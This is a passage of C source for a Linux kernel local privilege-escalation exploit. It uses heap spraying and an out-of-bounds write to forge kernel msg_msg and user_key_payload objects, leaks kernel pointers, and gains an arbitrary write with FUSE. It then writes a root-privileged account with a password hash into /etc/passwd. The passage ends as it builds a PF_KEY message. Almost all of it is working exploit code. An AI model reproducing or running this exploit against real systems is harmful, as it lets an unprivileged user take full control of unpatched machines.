ascii[(i+1) % 16] = '\0'; | |
if ((i+1) % 16 <= 8) { | |
printf(" "); | |
} | |
for (j = (i+1) % 16; j < 16; ++j) { | |
printf(" "); | |
} | |
printf("| %s \n", ascii); | |
} | |
} | |
} | |
} | |
bool leak_kalsr() { | |
int fd1, fd2, fd3, fd_vul[N_PROCS], fd_t1, fd_t2; | |
int num_keys = 20000 / SIZE_OF_USER_KEY_PAYLOAD; | |
int *key_fd; | |
char *leak_buf; | |
// consume kmalloc-4k slabs in order to make `user_key_payload` allocate new slab from buddy allocator | |
spray_4k(0x50, SIZE_OF_USER_KEY_PAYLOAD); | |
printf("[+] spraying 4k objects\n"); | |
initialise_shared(&two_loop); | |
for (int i=0; i<=N_PROCS; i++) | |
pthread_mutex_lock(&two_loop->proc_mutex[i]); | |
int id = N_PROCS; | |
for (int i=0; i<N_PROCS; i++) { | |
if (fork()==0) { | |
id = i; | |
pthread_mutex_lock(&two_loop->proc_mutex[id]); | |
break; | |
} | |
if (i==N_PROCS-1) { | |
// hang main proc | |
pthread_mutex_unlock(&two_loop->proc_mutex[0]); | |
pthread_mutex_lock(&two_loop->proc_mutex[N_PROCS]); | |
} | |
} | |
#ifdef DEBUG | |
printf("id %d started\n", id); | |
int debug = (PRINT_PAGE_ALLOC | PRINT_OOB_INFO | PRINT_PAGE_FREE_DETAIL | PRINT_USER_KEY_PAYLOAD); | |
ioctl(-1, 0x37778, &debug); | |
#endif | |
//pagealloc_pad(0x500, 0x8000); | |
//sleep(1); | |
fd_vul[0] = pagealloc_pad(1, 0x8000); | |
// reserve order 3 pages for target obj1 (user_key_payload) | |
fd_t1 = pagealloc_pad(1, 0x8000); | |
// reserve order 3 pages for target obj2 (msg_msg) | |
fd_t2 = pagealloc_pad(1, 0x8000); | |
// arrange target obj1 (user_key_payload) to memory 3 (fd3) | |
//spray_4k(1, SIZE_OF_USER_KEY_PAYLOAD); | |
spray_4k_thread(SIZE_OF_USER_KEY_PAYLOAD, SLAB_4k_OBJS_PER_SLAB-1); | |
close(fd_t1); | |
key_fd = spray_user_key(1, SIZE_OF_USER_KEY_PAYLOAD, id); | |
spray_4k_thread(SIZE_OF_USER_KEY_PAYLOAD, SLAB_4k_OBJS_PER_SLAB-1); | |
release_spray_4k_lock(SLAB_4k_OBJS_PER_SLAB-2); | |
// arrange target obj2 (msg_msg) to memory 4 (fd4) | |
//pagealloc_pad(20, 0x8000); | |
close(fd_t2); | |
//printf("[+] Spraying msg with segments\n"); | |
//msg_spray(SLAB_4k_OBJS_PER_SLAB * (SLAB_4k_CPU_PARTIAL) , PAGE_SIZE+32-SIZE_OF_MSG_MSGSEG, 1); | |
/*for (int fork_idx = 0; fork_idx < 6; fork_idx++) { | |
int pid = fork(); | |
if (pid == 0) { | |
sleep(100); | |
printf("Child fork finished at idx `%d`!\n", fork_idx); | |
exit(0); | |
} | |
}*/ | |
// put the files close | |
int files[50]; | |
for (int i = 0; i < 50; i++) | |
{ | |
files[i] = open("/etc/passwd", O_RDONLY); | |
} | |
close(files[49]); | |
close(files[48]); | |
void* mapped[3000]; | |
int fd = open("/etc/passwd", O_RDONLY); | |
int fd_poc = open("/home/rooter/Desktop/poc.c", O_RDWR); | |
for (int i = 0; i < 3000; i++) { | |
if (i % 4 ==0) | |
mapped[i] = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, fd, 0); | |
else | |
mapped[i] = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, fd_poc, 0); | |
} | |
#ifdef DEBUG | |
printf("id %d finished\n", id); | |
#endif | |
if (id < N_PROCS) { | |
pthread_mutex_unlock(&two_loop->proc_mutex[id+1]); | |
pthread_mutex_lock(&two_loop->proc_mutex[id]); | |
} else { | |
for (int i=0; i<N_PROCS; i++) | |
pthread_mutex_unlock(&two_loop->proc_mutex[i]); | |
} | |
close(fd_vul[0]); | |
if (id == N_PROCS) { | |
printf("start oob write\n"); | |
struct fake_user_key_payload *fake_key = (struct fake_user_key_payload *)malloc(sizeof(struct fake_user_key_payload)+8); | |
memset(fake_key, 0, sizeof(*fake_key)); | |
fake_key->next = 0; | |
fake_key->callback = 0; | |
fake_key->datalen = 0x8000; | |
memset(fake_key+sizeof(struct fake_user_key_payload), 0x0, 0x8); | |
oob_write(fake_key, sizeof(*fake_key)+8, OOB_PAGE, -1, -1); | |
free(fake_key); | |
for (int i=0; i<=N_PROCS; i++) | |
pthread_mutex_unlock(&two_loop->proc_mutex[i]); | |
} | |
pthread_mutex_lock(&two_loop->proc_mutex[id]); | |
leak_buf = malloc(0x8000); | |
memset(leak_buf, 0x43, 0x8000); | |
if (syscall(__NR_keyctl, KEYCTL_READ, key_fd[0], leak_buf, 0x8000, 0) == -1) { | |
perror("keyctl failed"); | |
} | |
int num_found = 0; | |
uint64_t page_address[3] = {0,0,0}; | |
uint64_t page_address_counts[3] = {0,0,0}; | |
int STRUCT_FILE_OFFSET_FROM_VMAREASTRUCT = 160, STRUCTS_PER_PAGE = 20; | |
int first_found_vm_area_offset = 0, dummy_vm_idx = -1, passwd_vm_idx = -1; | |
// =========== INIT VARIABLES ============ | |
num_found = 0; passwd_vm_idx = -1; | |
first_found_vm_area_offset = 0; dummy_vm_idx = -1; | |
memset(&page_address_counts,0,3*sizeof(uint64_t)); | |
memset(&page_address,0,3*sizeof(uint64_t)); | |
if (*(uint64_t*)(leak_buf+0x7100) != 0x4343434343434343) { | |
for (int page = 0; page < 8; page++) { | |
for (int j=0; j<0x1000; j++) { | |
struct vm_area_struct *vm = (struct vm_area_struct*)(leak_buf+j+(page*0x1000)); | |
if (vm->vm_start > 0 && vm->vm_end > 0 && vm->vm_end - vm->vm_start == 0x1000 && vm->vm_file != 0) { | |
printf("\n============ VM FOUND ============\n\tvm_start=%llx\n\tvm_end=%llx,\n\tvm_page_prot=%llx\n" | |
"\tvm_file=%llx\n\tvm_next=%llx\n\tvm_prev=%llx\n\tpage index = %d\n==============================\n", | |
vm->vm_start,vm->vm_end,vm->vm_page_prot,vm->vm_file,vm->vm_next,vm->vm_prev,page); | |
uint64_t vm_next = (uint64_t)(vm->vm_next) & 0xFFFFFFFFFFFFF000ul; | |
uint64_t vm_prev = (uint64_t)(vm->vm_prev) & 0xFFFFFFFFFFFFF000ul; | |
if (page_address[0] == 0 || page_address[0] == vm_next) { | |
page_address[0] = vm_next; | |
page_address_counts[0]++; | |
} else if (page_address[1] == 0 || page_address[1] == vm_next) { | |
page_address[1] = vm_next; | |
page_address_counts[1]++; | |
} else if (page_address[2] == 0 || page_address[2] == vm_next) { | |
page_address[2] = vm_next; | |
page_address_counts[2]++; | |
} else if (page_address[0] == 0 || page_address[0] == vm_prev) { | |
page_address[0] = vm_prev; | |
page_address_counts[0]++; | |
} else if (page_address[1] == 0 || page_address[1] == vm_prev) { | |
page_address[1] = vm_prev; | |
page_address_counts[1]++; | |
} else if (page_address[2] == 0 || page_address[2] == vm_prev) { | |
page_address[2] = vm_prev; | |
page_address_counts[2]++; | |
} | |
num_found++; | |
if (num_found == STRUCTS_PER_PAGE) break; | |
} | |
} | |
if (num_found == STRUCTS_PER_PAGE) break; | |
} | |
} | |
if (num_found == 0) { | |
pause(); | |
} | |
void* leaked_page_address = 0; | |
int maxval = 0; | |
for (int idx = 0; idx < 3; idx++) { | |
if (maxval < page_address_counts[idx]) { | |
leaked_page_address = page_address[idx]; | |
maxval = page_address_counts[idx]; | |
} | |
} | |
// extract prev/next pointers and find 2 representative vm_area_structs for the 2 mmaped files | |
num_found = 0; | |
void* struct_file_addresses[2] = {NULL,NULL}; | |
void* struct_file_addresses_counts[2] = {0,0}; | |
uint64_t vm_next_pointer[STRUCTS_PER_PAGE]; | |
uint64_t vm_prev_pointer[STRUCTS_PER_PAGE]; | |
uint64_t offset_from_first_struct[STRUCTS_PER_PAGE]; | |
memset(&vm_next_pointer,0,STRUCTS_PER_PAGE*sizeof(uint64_t)); | |
memset(&vm_prev_pointer,0,STRUCTS_PER_PAGE*sizeof(uint64_t)); | |
memset(&offset_from_first_struct,0,STRUCTS_PER_PAGE*sizeof(uint64_t)); | |
uint64_t offset_of_first_struct_from_buffer = -1; | |
for (int page = 0; page < 8; page++) { | |
for (int j=0; j<0x1000; j++) { | |
struct vm_area_struct *vm = (struct vm_area_struct*)(leak_buf+j+(page*0x1000)); | |
if (vm->vm_start > 0 && vm->vm_end > 0 && vm->vm_end - vm->vm_start == 0x1000 && vm->vm_file != 0) { | |
uint64_t vm_next = (uint64_t)(vm->vm_next) & 0xFFFFFFFFFFFFF000ul; | |
uint64_t vm_prev = (uint64_t)(vm->vm_prev) & 0xFFFFFFFFFFFFF000ul; | |
if ( (vm_next != (uint64_t)leaked_page_address) && (vm_prev != (uint64_t)leaked_page_address) ) | |
continue; | |
if (num_found == 0) {offset_of_first_struct_from_buffer = ((page*0x1000)+j); } | |
else {offset_from_first_struct[num_found] = ((page*0x1000)+j)-offset_of_first_struct_from_buffer;} | |
// printf("\t\tnum_found = %d\n\t\tprev page = %p (in page = %d)\n\t\tnext page = %p(in page = %d)\n---------\n", | |
// num_found, vm_prev, vm_prev != (uint64_t)leaked_page_address , vm_next, vm_next != (uint64_t)leaked_page_address); | |
vm_next_pointer[num_found] = (uint64_t)vm->vm_next; | |
vm_prev_pointer[num_found] = (uint64_t)vm->vm_prev; | |
if (struct_file_addresses[0] == NULL || struct_file_addresses[0] == vm->vm_file) { | |
struct_file_addresses[0] = vm->vm_file; | |
dummy_vm_idx = num_found; | |
struct_file_addresses_counts[0]++; | |
} else { | |
if (struct_file_addresses[1] == NULL || struct_file_addresses[1] == vm->vm_file) { | |
struct_file_addresses[1] = vm->vm_file; | |
passwd_vm_idx = num_found; | |
struct_file_addresses_counts[1]++; | |
} | |
} | |
num_found++; | |
if (num_found == STRUCTS_PER_PAGE) break; | |
} | |
} | |
if (num_found == STRUCTS_PER_PAGE) break; | |
} | |
if (struct_file_addresses_counts[0] < struct_file_addresses_counts[1]) { | |
int tmp_idx = passwd_vm_idx; | |
passwd_vm_idx = dummy_vm_idx; | |
dummy_vm_idx = tmp_idx; | |
tmp_idx = struct_file_addresses_counts[0]; | |
struct_file_addresses_counts[0] = struct_file_addresses_counts[1]; | |
struct_file_addresses_counts[1] = tmp_idx; | |
void* tmp = struct_file_addresses[0]; | |
struct_file_addresses[0] = struct_file_addresses[1]; | |
struct_file_addresses[1] = tmp; | |
} | |
printf("Found %d vm_area_struct structures in leaked page %llx!\n", num_found, (uint64_t)leaked_page_address); | |
// get the address of the first vm_area_struct and calculate the address of the rest from the first | |
uint64_t minaddr = vm_prev_pointer[3]; | |
for (int k = 0; k < STRUCTS_PER_PAGE; k++) { | |
if ( ((vm_prev_pointer[k] & 0xFFFFFFFFFFFFF000ul) == (uint64_t)leaked_page_address) && minaddr >= vm_prev_pointer[k]){ | |
//printf("[.] Swapped %p for %p\n", minaddr,vm_prev_pointer[k]); | |
minaddr = vm_prev_pointer[k]; | |
} | |
} | |
for (int k = 0; k < STRUCTS_PER_PAGE; k++) { | |
if ( ((vm_next_pointer[k] & 0xFFFFFFFFFFFFF000ul) == (uint64_t)leaked_page_address) && minaddr >= vm_next_pointer[k]){ | |
minaddr = vm_next_pointer[k]; | |
//printf("[.] Swapped %p for %p\n", minaddr,vm_next_pointer[k]); | |
} | |
} | |
void* passwd_file_pointer = minaddr + offset_from_first_struct[passwd_vm_idx]+STRUCT_FILE_OFFSET_FROM_VMAREASTRUCT; | |
void* dummy_file_pointer = minaddr + offset_from_first_struct[dummy_vm_idx]+STRUCT_FILE_OFFSET_FROM_VMAREASTRUCT; | |
struct vm_area_struct *dmy_vm = leak_buf+offset_of_first_struct_from_buffer+offset_from_first_struct[dummy_vm_idx]; | |
struct vm_area_struct *pwd_vm = leak_buf+offset_of_first_struct_from_buffer+offset_from_first_struct[passwd_vm_idx]; | |
printf("----------------------------\n -- minaddr = %p\n -- dmy_vm = %p\n" | |
" -- pwd_vm = %p\n -- dmy_idx = %d\n -- pwd_idx = %d" | |
"\n--------------------------\n\n",minaddr,dummy_file_pointer-STRUCT_FILE_OFFSET_FROM_VMAREASTRUCT, | |
passwd_file_pointer-STRUCT_FILE_OFFSET_FROM_VMAREASTRUCT,dummy_vm_idx,passwd_vm_idx); | |
printf("\n============ PASSWD VM (%p) ============\n" | |
"\tvm_start=%llx\n" | |
"\tvm_end=%llx,\n" | |
"\tvm_page_prot=%llx\n" | |
"\tvm_file=%llx\n" | |
"\tvm_next=%llx\n" | |
"\tvm_prev=%llx\n" | |
"\tpasswd_vm_idx = %d\n" | |
"==============================\n", | |
passwd_file_pointer-STRUCT_FILE_OFFSET_FROM_VMAREASTRUCT, | |
pwd_vm->vm_start,pwd_vm->vm_end,pwd_vm->vm_page_prot, | |
pwd_vm->vm_file,pwd_vm->vm_next,pwd_vm->vm_prev,passwd_vm_idx); | |
printf("\n============ DUMMY VM (%p) ============\n" | |
"\tvm_start=%llx\n" | |
"\tvm_end=%llx,\n" | |
"\tvm_page_prot=%llx\n" | |
"\tvm_file=%llx\n" | |
"\tvm_next=%llx\n" | |
"\tvm_prev=%llx\n" | |
"\tpasswd_vm_idx = %d\n" | |
"==============================\n", | |
dummy_file_pointer-STRUCT_FILE_OFFSET_FROM_VMAREASTRUCT, | |
dmy_vm->vm_start,dmy_vm->vm_end,dmy_vm->vm_page_prot, | |
dmy_vm->vm_file,dmy_vm->vm_next,dmy_vm->vm_prev,dummy_vm_idx); | |
printf("Press a button to continue..."); | |
getc(stdin); | |
// stage 2: leak kernel address. | |
// Now we have a correct msg->next pointer, we can freely overwrite struct msg->m_ts | |
// as well as the msg->next. | |
if (fork() != 0) { | |
int status; | |
wait(&status); | |
exit(0); | |
} | |
void * passwd_file_struct = NULL, *dummy_file_struct = NULL; | |
uint64_t passwd_mapping = 0, dummy_mapping = 0; | |
for (int idx = 0; idx < 3000; idx++) | |
munmap(mapped[idx],0x1000); | |
int fill = pagealloc_pad(0x1000, 0x1000); | |
int fill2 = pagealloc_pad(0x1000, 0x2000); | |
int fill3 = pagealloc_pad(0x1000, 0x4000); | |
int fill_fd[5][50]; | |
for (int i=0; i<50; i++) { | |
fill_fd[0][i] = pagealloc_pad(1, 0x4000); | |
fill_fd[1][i] = pagealloc_pad(1, 0x4000); | |
} | |
for (int i=0; i<50; i++) | |
close(fill_fd[0][i]); | |
for (int i=0; i<50; i++) { | |
pagealloc_pad(0x100, 0x8000); | |
sleep(1); | |
#ifdef DEBUG | |
debug = (PRINT_PAGE_ALLOC | PRINT_OOB_INFO | PRINT_PAGE_FREE_DETAIL | PRINT_MSG); | |
ioctl(-1, 0x37778, &debug); | |
#endif | |
int fd_msg[N_LOOP]; | |
int msqid_all[4096]; | |
printf("[+] spraying msg for OOB write\n"); | |
for (int i=0; i<8; i++) { | |
fd_vul[i] = pagealloc_pad(1, 0x8000); | |
fd_msg[i] = pagealloc_pad(1, 0x8000); | |
} | |
for (int k=0; k<N_LOOP; k++) { | |
close(fd_msg[k]); | |
msg_spray(SLAB_4k_OBJS_PER_SLAB+1 , PAGE_SIZE+32-SIZE_OF_MSG_MSGSEG, 1); | |
memcpy(&msqid_all[k*SLAB_4k_OBJS_PER_SLAB * 2], msqid, SLAB_4k_OBJS_PER_SLAB * 2 * sizeof(int)); | |
} | |
printf("[+] free slots for vulnerable objects\n"); | |
for (int i=0; i<N_LOOP; i++) { | |
close(fd_vul[i]); | |
} | |
void * pointer_to_rw = struct_file_addresses[1]-8;// passwd_file_pointer; | |
int read_dummy = 0; | |
int read_passwd = 0; | |
if (passwd_file_struct == NULL) { | |
passwd_file_struct = malloc(256); | |
read_passwd = 1; | |
} else { | |
if (dummy_file_struct == NULL) { | |
read_dummy = 1; | |
dummy_file_struct = malloc(256); | |
} | |
pointer_to_rw = struct_file_addresses[0]-8;//dummy_file_pointer; | |
} | |
//printf(" -- pointer_to_rw = %p\n",pointer_to_rw); | |
struct fake_msg_msg *fake_msg = (struct fake_msg_msg *)malloc(sizeof(struct fake_msg_msg)); | |
memset(fake_msg, 0, sizeof(*fake_msg)); | |
fake_msg->m_list.next = msglist_next; | |
fake_msg->m_list.prev = msglist_prev; | |
fake_msg->m_type = 1; | |
fake_msg->m_ts = 0x1fc8; | |
fake_msg->next = pointer_to_rw; | |
oob_write(fake_msg, sizeof(*fake_msg), OOB_PAGE, -1, -1); | |
free(fake_msg); | |
if (!(read_passwd == 0 && read_dummy == 0)) | |
leak_buf = malloc(0x2000); | |
int parsed = 0; | |
for (int i=0; i<SLAB_4k_OBJS_PER_SLAB * 2 * N_LOOP && parsed == 0; i++) { | |
int j; | |
memset(leak_buf, 0x27, 0x2000); | |
recvmymsg(msqid_all[i], 0x2000, leak_buf, 0, 0); | |
for (j=0; j<0x2000-sizeof(struct file) && parsed == 0; j++) { | |
if (read_passwd) { | |
mempcpy(passwd_file_struct,leak_buf+j,sizeof(struct file)); | |
struct file * f = (struct file *)passwd_file_struct; | |
if ((uint64_t)f->f_op > 0ul && (uint64_t)f->f_cred > 0ul && f->f_flags > 0 | |
&& (uint64_t)f->f_mapping > 0ul && (uint64_t)f->f_inode > 0ul | |
&& ((uint64_t)f->f_mapping&0xFFFF000000000000ul) == 0xFFFF000000000000ul | |
&& ((uint64_t)f->f_inode&0xFFFF000000000000ul) == 0xFFFF000000000000ul | |
&& ((uint64_t)f->f_op&0xFFFF000000000000ul) == 0xFFFF000000000000ul | |
&& ((uint64_t)f->f_cred&0xFFFF000000000000ul) == 0xFFFF000000000000ul | |
&& f->f_count > 0 | |
&& ((uint64_t)f->private_data) == 0 | |
&& ((uint64_t)f->f_path[0]&0xFFFF000000000000ul) == 0xFFFF000000000000ul | |
&& ((uint64_t)f->f_path[1]&0xFFFF000000000000ul) == 0xFFFF000000000000ul) { | |
printf("Dumping passwd\'s struct file:\n"); | |
HexDump(passwd_file_struct,sizeof(struct file)); | |
printf( "\n---------- PASSWD FILE (%p) ----------\n" | |
"\tcred = %p\n\tflags = %x\n\tmapping = %p" | |
"\n\tmode = %p\n\tops = %p\n\tcount = %d\n\tinode = %p" | |
"\n------------------------------\n", | |
pointer_to_rw+8, | |
f->f_cred,f->f_flags,f->f_mapping,f->f_mode,f->f_op,f->f_count,f->f_inode); | |
passwd_mapping = (uint64_t) f->f_mapping; | |
parsed = 1; | |
break; | |
} | |
} | |
else if (read_dummy) { | |
mempcpy(dummy_file_struct,leak_buf+j,sizeof(struct file)); | |
struct file * f = (struct file *)dummy_file_struct; | |
if ((uint64_t)f->f_op > 0ul && (uint64_t)f->f_cred > 0ul && f->f_flags > 0 | |
&& (uint64_t)f->f_mapping > 0ul && (uint64_t)f->f_inode > 0ul | |
&& ((uint64_t)f->f_mapping&0xFFFF000000000000ul) == 0xFFFF000000000000ul | |
&& ((uint64_t)f->f_inode&0xFFFF000000000000ul) == 0xFFFF000000000000ul | |
&& ((uint64_t)f->f_op&0xFFFF000000000000ul) == 0xFFFF000000000000ul | |
&& ((uint64_t)f->f_cred&0xFFFF000000000000ul) == 0xFFFF000000000000ul | |
&& f->f_count > 0 | |
&& ((uint64_t)f->private_data) == 0 | |
&& ((uint64_t)f->f_path[0]&0xFFFF000000000000ul) == 0xFFFF000000000000ul | |
&& ((uint64_t)f->f_path[1]&0xFFFF000000000000ul) == 0xFFFF000000000000ul) { | |
printf("Dumping dummy file\'s struct file:\n"); | |
HexDump(dummy_file_struct,sizeof(struct file)); | |
printf( "\n---------- DUMMY FILE (%p) ----------\n" | |
"\tcred = %p\n\tflags = %x\n\tmapping = %p\n" | |
"\tmode = %p\n\tops = %p\n\tcount = %d\n\tinode = %p\n" | |
"------------------------------\n", | |
pointer_to_rw+8, | |
f->f_cred,f->f_flags,f->f_mapping,f->f_mode,f->f_op,f->f_count,f->f_inode); | |
dummy_mapping = (uint64_t) f->f_mapping; | |
printf("[?] arbitrary write to f_mapping field happening...\n"); | |
addr_modprobe_path = (uint64_t) pointer_to_rw+8+216; | |
evil_str = malloc(20*sizeof(char)); | |
memset(evil_str,0,20); | |
memcpy(evil_str,&passwd_mapping,sizeof(uint64_t)); | |
overwrite_modprobe(fd_poc); | |
//overwrite_file_mapping_pointer( ((uint64_t)pointer_to_rw+8+216), passwd_mapping, fd_poc); // 216 is offset of f_mapping from struct head. | |
parsed = 1; | |
} | |
} | |
} | |
} | |
} | |
return false; | |
} | |
void fuse_sendmsg(struct spary_msg_arg *arg) | |
{ | |
int i; | |
int qbytes = MAX_QBYTES_IN_QUEUE; | |
int _msqid; | |
void *target = arg->dst; | |
int size = arg->size; | |
if ((_msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) { | |
perror("msgget"); | |
return false; | |
} | |
#ifdef KERNEL_DEBUG | |
int debug = (PRINT_PAGE_ALLOC | PRINT_OOB_INFO | PRINT_PAGE_FREE_DETAIL | PRINT_MSG | PRINT_MSG_DETAIL); | |
ioctl(-1, 0x37778, &debug); | |
#endif | |
pthread_mutex_lock(&spray_lock->mutex); | |
spray_lock->done++; | |
pthread_mutex_unlock(&spray_lock->mutex); | |
struct msgbuf_key *msg_key = target; | |
//printf("fuse_sendmsg %d start\n", _msqid); | |
msg_key->mtype = 1; | |
int ret = msgsnd(_msqid, msg_key, PAGE_SIZE-SIZE_OF_MSG_MSG+size, 0); | |
//printf("fuse_sendmsg %d done\n", _msqid); | |
if (ret == -1) { | |
perror("msgsnd error\n"); | |
exit(1); | |
} | |
} | |
int fuse_msg_spray(int num_msg, int size, void *dst) { | |
int i; | |
initialise_shared(&spray_lock); | |
pthread_mutex_lock(&spray_lock->mutex); | |
for (i = 0; i<num_msg; i++) { | |
struct spary_msg_arg *arg = malloc(sizeof(struct spary_msg_arg)); | |
arg->size = size; | |
arg->dst = dst; | |
hang_threads->done++; | |
pthread_t *thr = malloc(sizeof(pthread_t)); | |
pthread_create(thr, NULL, &fuse_sendmsg, arg); | |
} | |
return i; | |
} | |
bool arb_write(void *target_addr, int size, void *fuse_adr) | |
{ | |
int fd_vul; | |
int fd_msg; | |
printf("[+] spraying msg for arbitrary write\n"); | |
initialise_shared(&two_loop); | |
for (int i=0; i<=N_PROCS; i++) | |
pthread_mutex_trylock(&two_loop->proc_mutex[i]); | |
int id = N_PROCS; | |
for (int i=0; i<N_PROCS; i++) { | |
if (fork()==0) { | |
id = i; | |
pthread_mutex_lock(&two_loop->proc_mutex[id]); | |
break; | |
} | |
if (i==N_PROCS-1) { | |
// hang main proc | |
pthread_mutex_unlock(&two_loop->proc_mutex[0]); | |
pthread_mutex_lock(&two_loop->proc_mutex[N_PROCS]); | |
} | |
} | |
pagealloc_pad(0x100, 0x8000); | |
#ifdef KERNEL_DEBUG | |
int debug = (PRINT_PAGE_ALLOC | PRINT_OOB_INFO | PRINT_PAGE_FREE_DETAIL | PRINT_MSG_DETAIL); | |
ioctl(-1, 0x37778, &debug); | |
printf("id %d started\n", id); | |
#endif | |
fd_vul = pagealloc_pad(1, 0x8000); | |
fd_msg = pagealloc_pad(1, 0x8000); | |
msg_spray(SLAB_4k_OBJS_PER_SLAB * (SLAB_4k_CPU_PARTIAL) , PAGE_SIZE+32-SIZE_OF_MSG_MSGSEG, 1); | |
fuse_msg_spray(SLAB_4k_OBJS_PER_SLAB + 1, size, fuse_adr); | |
close(fd_msg); | |
release_spray_4k_lock(SLAB_4k_OBJS_PER_SLAB + 1); | |
usleep(10000); | |
if (id != N_PROCS) | |
{ | |
pthread_mutex_unlock(&two_loop->proc_mutex[id+1]); | |
pthread_mutex_lock(&two_loop->proc_mutex[id]); | |
} else { | |
for (int i=0; i<N_PROCS; i++) | |
pthread_mutex_unlock(&two_loop->proc_mutex[i]); | |
} | |
close(fd_vul); | |
if (id != N_PROCS) | |
{ | |
pthread_mutex_lock(&two_loop->proc_mutex[id]); | |
} | |
struct fake_msg_msg *fake_msg = (struct fake_msg_msg *)malloc(sizeof(struct fake_msg_msg)); | |
memset(fake_msg, 0, sizeof(*fake_msg)); | |
fake_msg->m_list.next = msglist_next; | |
fake_msg->m_list.prev = msglist_prev; | |
fake_msg->m_type = 1; | |
fake_msg->m_ts = PAGE_SIZE-SIZE_OF_MSG_MSG+size; | |
fake_msg->next = target_addr; | |
oob_write(fake_msg, sizeof(*fake_msg), OOB_PAGE, -1, -1); | |
free(fake_msg); | |
//write(fuse_pipes[1], "A", 1); | |
} | |
void modprobe_trigger() | |
{ | |
execve(PROC_MODPROBE_TRIGGER, NULL, NULL); | |
} | |
int am_i_root() | |
{ | |
struct stat buffer; | |
int exist = stat("/tmp/exploited", &buffer); | |
if(exist == 0) | |
return 1; | |
else | |
return 0; | |
} | |
void modprobe_init() | |
{ | |
int fd = open(PROC_MODPROBE_TRIGGER, O_RDWR | O_CREAT); | |
if (fd < 0) | |
{ | |
perror("trigger creation failed"); | |
exit(-1); | |
} | |
char root[] = "\xff\xff\xff\xff"; | |
write(fd, root, sizeof(root)); | |
close(fd); | |
chmod(PROC_MODPROBE_TRIGGER, 0777); | |
} | |
void overwrite_modprobe(int fd_to_rw_from) | |
{ | |
void *modprobe_path = addr_modprobe_path; | |
printf("[+] f_mapping address to overwrite: 0x%llx\n", modprobe_path); | |
void *fuse_evil_addr; | |
for (int i=0; i<50; i++) { | |
if (fork() != 0) | |
break; | |
void *evil_page = mmap(0x1338000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); | |
init_fuse_mem("evil2/evil", &fuse_evil_addr, evil_page+0x1000, 0x1000); | |
if (fuse_evil_addr != (evil_page+0x1000)) | |
{ | |
perror("mmap fail fuse 1"); | |
exit(-1); | |
} | |
void *evil_page2 = mmap(fuse_evil_addr+0x1000, 0x10000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); | |
struct msgbuf_key *evil_msg = fuse_evil_addr-0x8; | |
arb_write(modprobe_path-8, strlen(evil_str), evil_msg); | |
write(fuse_pipes[1], "A", 1); | |
printf("Press a button to continue..."); | |
getc(stdin); | |
sleep(1); | |
char * tmp = malloc(7); | |
fsync(fd_to_rw_from); | |
read(fd_to_rw_from,tmp,6); | |
tmp[6] = '\0'; | |
printf("Read from file: %s\n",tmp); | |
if (tmp[0] == 'r' && tmp[1] == 'o' && tmp[4] == ':') { | |
pthread_mutex_unlock(&shell_lock->mutex); | |
printf("SUCCESS!!!!\n"); | |
fseek(fd_to_rw_from, 1, SEEK_SET); | |
char* towrite = "albocoder:$1$KCPMXNrz$RkFUDj69PHe.T4cGUqzv91:0:0:root:/root:/bin/bash\n\x00"; | |
int ret = write(fd_to_rw_from,towrite,71); | |
if (ret > 0){ | |
printf("[+] Wrote the new account in! Go ahead and su away!\n"); | |
} | |
pause(); | |
} | |
free(tmp); | |
//fseek(fd_to_rw_from, 1, SEEK_SET); | |
printf("[+] FAILED!!! Not root, try again\n"); | |
} | |
pause(); | |
} | |
void loop(void) | |
{ | |
struct msghdr msg; | |
struct iovec iov; | |
struct sadb_msg *nlh; | |
struct sadb_ext *ehdr; | |
cpu_set_t my_set; | |
CPU_ZERO(&my_set); | |
CPU_SET(0, &my_set); | |
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { | |
perror("[-] sched_setaffinity()"); | |
exit(EXIT_FAILURE); | |
} | |
nlh = malloc(1024); | |
memset(&iov, 0, sizeof(iov)); | |
memset(&msg, 0, sizeof(msg)); | |
memset(nlh, 0, 1024); | |
intptr_t res = 0; | |
res = syscall(__NR_socket, AF_NETLINK, SOCK_RAW, NETLINK_XFRM); | |
res = syscall(__NR_socket, PF_KEY, SOCK_RAW, PF_KEY_V2); | |
if (res != -1) | |
r[0] = res; | |
nlh->sadb_msg_version = 0x2; | |
nlh->sadb_msg_type = SADB_ADD; | |
nlh->sadb_msg_errno = 0x0; | |
nlh->sadb_msg_satype = SADB_SATYPE_ESP; | |
nlh->sadb_msg_len = 0xf; | |
nlh->sadb_msg_reserved = 0; | |
nlh->sadb_msg_seq = 0; | |
nlh->sadb_msg_pid = 0; | |
ehdr = (char *)nlh + sizeof(struct sadb_msg); | |
ehdr->sadb_ext_len = 0x1; | |
ehdr->sadb_ext_type = SADB_EXT_KEY_ENCRYPT; | |
struct sadb_address *sa_addr = (struct sadb_ext *)((char *)ehdr + ehdr->sadb_ext_len * sizeof(uint64_t)); | |
sa_addr->sadb_address_len = 0x5; | |
sa_addr->sadb_address_exttype = SADB_EXT_ADDRESS_DST; | |
sa_addr->sadb_address_proto = 0x0; | |
sa_addr->sadb_address_prefixlen = 0x0; | |
sa_addr->sadb_address_reserved = 0x0; | |
struct sockaddr_in6 *addr = (char *)sa_addr + sizeof(struct sadb_address); | |
addr->sin6_family = AF_INET6; | |
addr->sin6_port = htons(0); | |
addr->sin6_addr = in6addr_loopback; | |
struct sadb_sa *sa = (struct sadb_sa *)((char *)sa_addr + sa_addr->sadb_address_len * sizeof(uint64_t)); | |
sa->sadb_sa_len = 0x2; | |
sa->sadb_sa_exttype = SADB_EXT_SA; | |
sa->sadb_sa_spi = 0x0; | |
sa->sadb_sa_replay = 0x0; | |
sa->sadb_sa_state = 0x0; | |
sa->sadb_sa_auth = 0x0; | |
sa->sadb_sa_encrypt = 0xb; | |
sa->sadb_sa_flags = 0x0; | |
sa_addr = (struct sadb_address *)((char *)sa + sa->sadb_sa_len * sizeof(uint64_t)); | |
sa_addr->sadb_address_len = 0x5; | |
sa_addr->sadb_address_exttype = SADB_EXT_ADDRESS_SRC; | |
sa_addr->sadb_address_proto = 0x0; | |
sa_addr->sadb_address_prefixlen = 0x0; | |
sa_addr->sadb_address_reserved = 0x0; | |
addr = (char *)sa_addr + sizeof(struct sadb_address); | |
addr->sin6_family = AF_INET6; | |
